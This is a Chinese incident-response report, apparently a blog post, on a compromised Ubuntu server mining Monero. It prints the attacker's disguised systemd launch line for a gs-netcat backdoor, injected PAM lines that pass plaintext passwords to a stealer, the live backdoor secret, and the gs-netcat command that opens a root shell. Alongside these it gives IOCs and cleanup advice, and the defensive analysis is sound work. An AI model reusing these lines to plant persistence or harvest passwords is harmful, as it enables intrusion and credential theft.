病毒分析4
u20 (192.168.1.12) 挖矿 / 后门 应急分析报告
- 分析时间:2026-10-24 10:17 ~ 10:30 CST
- 分析账号:
yangx(uid 1005,不在 sudo 组,只能读文件、不能改系统) - 主机:Ubuntu 20.04.6 LTS,内核 5.4.0-216,已运行 137 天
- 现象:XMRig 门罗币挖矿进程周期性出现
一、结论
主机已被完全控制(root 权限失陷),并且至少从 2025-11-27 起就存在后门。
挖矿进程本身只是"结果",真正的入口/持久化是下面三条链:
- gs-netcat 隐蔽远控后门(Global Socket,加密、走公网中继,不需要开放端口)
- systemd 服务伪装持久化(进程名伪装成
[kworker/88:9]内核线程) - PAM 登录钩子(窃取所有登录明文口令 + 登录时执行后门载荷)
攻击者通过 1 拿到 root shell 后,随时可以重新投放 XMRig——所以会出现"杀掉一段时间又冒出来"。
二、关键证据
1. 后门程序:/lib/sshd(伪装成 sshd,实为 gs-netcat)
| 项目 | 值 |
|---|---|
| 路径 | /lib/sshd、/usr/lib/sshd、/usr/bin/nvme(三处同一文件) |
| SHA256 | 73925dcd7aabda2fbe487dda75ad8b57f56e45c9f44915bdcada328a3190aa01 |
| 大小/时间 | 4,206,056 字节;/usr/bin/nvme 2025-11-27,/usr/lib/sshd 2026-02-11 |
| 归属 | 不属于任何 deb 包(dpkg -S 查无) |
| 真实身份 | gs-netcat 1.4.42(GSocket 隐蔽通道工具,编译于 2025-03-16) |
运行方式(systemd 单元 ExecStart):
/bin/bash -c "GS_ARGS='-k /lib/grub.log -ilq' exec -a '[kworker/88:9]' '/lib/sshd'"
-k <file>:从文件读"密钥/口令"exec -a '[kworker/88:9]':把进程名伪装成内核工作线程,ps/top里极易漏看- 当前活体进程:PID 3081284,ppid=1,uid=0,
/proc/3081284/cmdline为[kworker/88:9],comm为sshd
后门密钥(gs-netcat secret):
pzzG4yO8BqmqbGxz6qeWOz1
同时保存在 /lib/grub.log、/lib/os-releases(各 24 字节)。攻击者只需执行
gs-netcat -s pzzG4yO8BqmqbGxz6qeWOz1 -i 即可从任意位置拿到本机 root shell,
不依赖任何监听端口,防火墙拦不住。
2. systemd 持久化单元
| 文件 | 状态 | 说明 |
|---|---|---|
/etc/systemd/system/systemd-udev-sessions.service |
enabled / running(2026-10-10 15:03 启动) | 伪装成 D-Bus/udev 服务,拉起上面的 gs-netcat |
/lib/systemd/system/NetworkManager-w-online.service |
disabled / dead | 伪装成 NetworkManager(真名是 NetworkManager-wait-online),Restart=always + RestartSec=1200,即每 20 分钟自动复活一个后门实例 |
后者与"每隔一段时间就出来"的节奏高度吻合。
3. PAM 后门(最危险)
/etc/pam.d/ 中被注入 4 行:
common-auth:27 auth optional pam_exec.so quiet expose_authtok /boot/grub/grubnv
common-auth:28 session optional pam_exec.so quiet /usr/bin/fd-monitor
common-session:32 session optional pam_exec.so quiet /usr/bin/watching
sshd:56 session optional pam_exec.so quiet /usr/bin/watching
expose_authtok= 把明文口令通过 stdin 交给/boot/grub/grubnvgrubnv是 Go 程序,符号含main.PASSWORD、encryptAES、isDuplicate、readLines
→ 口令窃取器(AES 加密、去重后外传)watching、fd-monitor为登录时执行的载荷(watching符号含key_with_file、rmarg(抹除命令行参数)、xsh,是典型的"启动器 + 反取证")
影响:自 2026-01-23 起,所有通过口令登录本机(SSH/su/sudo)的账号密码均已泄露。
4. 挖矿相关痕迹
/etc/sysctl.conf被加入vm.nr_hugepages,运行时实际值 3511(约 7GB 大页),
当前HugePages_Rsvd=86说明仍有进程占用大页——这是 XMRig/RandomX 的标准优化项。- 全盘未发现
xmrig二进制或配置(可读范围内),推测矿马是按需投放(在/root、/tmp、
/dev/shm或内存中运行,跑完即删)。
三、时间线(据文件 mtime)
| 时间 | 事件 |
|---|---|
| 2025-11-27 | 首次植入:gs-netcat(/usr/bin/nvme、/lib/sshd)、两个伪装 systemd 单元、/boot/grub/grubnv、/usr/bin/watching、PAM 注入 |
| 2026-01-23 | 追加 expose_authtok 口令窃取(grubnv + fd-monitor)、写入 vm.nr_hugepages |
| 2026-02-11 | 更新 gs-netcat(/usr/lib/sshd) |
| 2026-10-10 15:03 | systemd-udev-sessions.service 被启用并启动,至今存活 |
四、为什么"杀掉又出来"
- 攻击者持有 gs-netcat root shell,可随时重新上传/运行 XMRig;
NetworkManager-w-online.service带Restart=always、RestartSec=1200,每 20 分钟复活;- PAM 钩子在每次登录时执行载荷(也可能触发挖矿);
- 大页参数已为矿机调优,说明这是"长期经营",不是一次性的。
只 kill 挖矿进程无效——必须切断上面 1~3 条链。
五、处置建议
方案 A(强烈推荐):重装系统
攻击者已 root 近一年,且能窃取明文口令,任何"清理"都无法保证没有第四、第五个后门
(内核模块、/root/.ssh、Docker 镜像、GitLab、LXD 容器、固件等均可能被动过)。
备份数据(只取业务文件,不取可执行文件/配置),重装,再恢复。
方案 B(应急清理,至少要做)
以 root 执行本目录下 cleanup.sh(会先备份到 /root/ir-backup-*),然后人工完成:
crontab -l -u root、ls -la /var/spool/cron/crontabs/检查挖矿任务cat /root/.ssh/authorized_keys删除陌生公钥cat /etc/ld.so.preload(正常应不存在)docker ps -a、lxc list检查异常容器/镜像- 重置全部账号密码(含 root、GitLab、Samba),并更换所有 SSH 密钥
- 检查 GitLab(本机 8080/8443)与 Samba(445)是否有被撞库/新增账号
- 检查
/etc/sudoers.d/、/etc/passwd是否有新增特权账号
清理后仍建议尽快重装。
加固
- 关闭口令登录,只允许密钥(本机
sshd_config目前未禁用密码登录) - 限制 22 / 2222 / 445 / 8080 的来源 IP
- 部署
auditd+ 文件完整性监控(AIDE),监控/etc/pam.d、/etc/systemd/system、/lib、/usr/bin - 定期用
dpkg -V与rpm -Va这类基线校验比对系统文件
六、附:IOC 汇总
文件
/etc/systemd/system/systemd-udev-sessions.service
/etc/systemd/system/multi-user.target.wants/systemd-udev-sessions.service
/lib/systemd/system/NetworkManager-w-online.service
/lib/sshd /usr/lib/sshd /usr/bin/nvme
/lib/grub.log /lib/os-releases
/boot/grub/grubnv
/usr/bin/watching /usr/bin/fd-monitor
哈希(SHA256)
73925dcd7aabda2fbe487dda75ad8b57f56e45c9f44915bdcada328a3190aa01 gs-netcat(/lib/sshd,/usr/bin/nvme)
876e2341d00455e638758dd15bada3130950b8dba105ca99dd3446760c8d85bb /boot/grub/grubnv
9fe3bee06c46fff73c7cebfac40b40e08428f60e82c55305fe5e1774a1d30949 /usr/bin/watching
07903ddd036eb8389c13d298dd4a5a17f46499c83d2ffcb491995ddfe5eeab5c /usr/bin/fd-monitor
字符串
pzzG4yO8BqmqbGxz6qeWOz1 (gs-netcat secret)
gs-netcat [-skrlgvqwCTLtSDuim] (二进制特征)
exec -a '[kworker/88:9]' / '[kworker/78:10]'
pam_exec.so ... /boot/grub/grubnv | /usr/bin/watching | /usr/bin/fd-monitor
注:本次分析以
yangx身份进行,无法读取/root、/var/log/auth.log、root crontab、
Docker/LXD 内部。以上为可确认部分,实际情况可能更多。
本文来自博客园,作者:杨旭0324,转载请注明原文链接:https://www.cnblogs.com/allalonewithyou/p/23424166,个人邮箱:yaonie4444@foxmail.com

浙公网安备 33010602011771号